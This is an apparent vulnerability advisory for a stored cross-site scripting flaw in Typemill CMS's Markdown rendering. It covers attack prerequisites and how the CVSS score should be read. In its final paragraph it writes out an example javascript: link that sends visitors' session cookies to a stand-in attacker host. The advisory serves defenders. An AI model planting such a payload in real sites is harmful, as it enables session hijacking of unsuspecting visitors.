Typemill CMS EUVD-2026-55793

Exploitation requires an authenticated account with theme-configuration access in Typemill CMS - a high-privilege administrative role, confirmed by PR:H in the CVSS 4.0 vector. The attacker must have write access to content fields rendered through ParsedownExtension.php or TwigMarkdownExtension.php. Secondary exploitation of the stored payload additionally requires a victim site visitor to actively click the injected Markdown-rendered anchor link (UI:A per CVSS). Exploitation is concretely limited by: (1) the requirement for a high-privilege Typemill session to inject the payload, excluding unauthenticated or low-privilege attackers entirely; (2) mandatory victim click interaction, meaning passive page-load does not trigger the payload; and (3) Content Security Policy headers, if deployed, which can block javascript: URI execution in compliant browsers. The highest-risk deployment is one where theme-configuration access is granted to multiple users of varying trust levels rather than restricted to a single site owner.

The CVSS 4.0 score of 4.6 with vector AV:N/AC:L/AT:N/PR:H/UI:A accurately reflects a constrained attack surface: exploitation requires a high-privilege authenticated session (theme-configuration access) and mandates that a victim actively click the rendered link. PR:H is the primary risk limiter - this is not a mass-exploitation candidate achievable by unauthenticated or low-privilege users. The stored nature of the XSS, however, is an aggravating factor beyond what the score alone conveys: once injected, the payload fires against all future visitors without additional attacker interaction, providing persistent impact with no ongoing attacker presence. No EPSS data was provided; given the high privilege prerequisite and required user interaction, opportunistic or automated exploitation is unlikely. The absence of a KEV listing and public POC further supports a low-urgency posture for most organizations. The primary realistic risk scenario is a multi-tenant or low-trust deployment where non-owner users are granted theme-configuration access - a configuration that amplifies the trust boundary issue. The CVSS VC:N metric is technically consistent with server-side scope, but defenders should note that browser-side session data (cookies) and credentials are at risk, which the description confirms.

An attacker who has obtained theme-configuration credentials - through credential stuffing, phishing, or insider access - navigates to a Markdown-editable content area and saves a link such as [Read More](javascript:fetch('https://attacker.example/?c='+document.cookie)), embedding the payload in persistent CMS storage. Every subsequent site visitor who clicks the rendered link triggers exfiltration of their session cookie to the attacker-controlled endpoint, enabling session hijacking without any further attacker interaction. No public exploit code has been identified, but the attack technique requires only basic knowledge of the javascript: URI scheme and is trivially reproducible.